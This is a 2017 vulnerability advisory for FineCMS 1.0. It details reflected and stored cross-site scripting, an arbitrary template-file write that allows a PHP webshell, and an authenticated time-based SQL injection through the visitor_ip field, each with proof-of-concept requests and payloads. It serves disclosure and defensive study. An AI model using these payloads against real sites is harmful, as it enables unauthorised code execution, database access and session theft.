FineCMS 1.0 Cross Site Scripting / SQL Injection

FineCMS version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.


MD5 | e0e0805a0ab9f68d76db0eb249f9af22

# # # # #
# Exploit Title: FineCMS 1.0 Multiple Vulnerabilities
# Dork: N/A
# Date: 29.08.2017
# Vendor Homepage : http://mvc.net.pl/
# Software Link: https://github.com/andrzuk/FineCMS
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: sohaip-hackerDZ
# Author Web: http://www.hacker-ar.com
# Author Social: @sohaip_hackerDZ
# # # # #

Reflected XSS in get_image.php
Technical Description:
file /application/lib/ajax/get_image.php the $_POST['id'] and $_POST['name'] and $_GET['folder'] without any validated, sanitised or output encoded.

Proof of Concept(PoC)
http://your_finecms/application/lib/ajax/get_image.php?folder=1

POST:

id=1"><script>alert(1)</script>&name=1

Arbitrary File Modify
Technical Description:
The base function for modify the template can modify the filename,this leads to the Arbitrary File Modify, who could allow attacker getshell.

file /appalication/core/controller/template.php line50-line53

follow function save() file /appalication/core/model/template.php line26-line48

if file exists, we can modify it whihout any limit.

insterestingly, there are two more Vulnerability for same function in different files.

file /appalication/core/model/style.php line26-line48

file /appalication/core/model/script.php line26-line48

Proof of Concept(PoC)
http://your_finecms/index.php?route=template
http://your_finecms/index.php?route=style
http://your_finecms/index.php?route=script

POST:
contents=<?php phpinfo();?>&filename={any exist filename}&savabutton=Zapisz

Authenticated SQL injection
all FineCMS use PDO to connect the mysql server, so all the data without any validated, sanitised or output encoded injection database.but in application/core/controller/excludes.php, the website author use mysqli to connect mysql server.the lead SQL injection, who could allow attacker use some payload to get data in database.

Technical Description:
file application/core/controller/excludes.php line75, the visitor_ip insert into database without any validated, sanitised or output encoded.


file /stat/get_stat_data.php line30


the sql inject into sql_query and execute.

Proof of Concept(PoC)
http://your_finecms/index.php?route=excludes&action=add

POST:
visitor_ip=1%27%2Csleep%281%29%2C%271&save_button=Zapisz
and view http://your_finecms/stat/get_stat_data.php,we can feel website loading sleep.


Stored XSS in images.php
FineCMS allow admin to upload image into gallery, and it will show image data into pages, but some data will output into pages without any validated, sanitised or output encoded. they allow attacker Cross Site Scripting.

Technical Description:
when we upload the file

file application/core/controller/images.php line87


and follow the function add() file application/core/model/images.php line78


if filetype startwith "image",the filetype will insert into database

when we view the detail of the images file application/lib/generators/view.php line106, somethings will output into pages.


Proof of Concept(PoC)
view the http://your_finecms/index.php?route=images&action=add and upload picture

modify the picture's filetype

view the detail of picture



Because of the vulnerability also in edit detail page. so you also can use edit to insert Script code in pages.

http://your_finecms/index.php?route=images&action=edit&id=15

view the detail of picture


Stored XSS in visitors.php
FineCMS stores all the visitors the visit url, but in detail of log they output into pages without any validated, sanitised or output encoded. they allow attacker Cross Site Scripting.

Technical Description:
just like last vulnerability.

Proof of Concept(PoC)
visit any page with js script code. such as

index.php?route=images&action=view&id=14'"><script>alert(1)</script>


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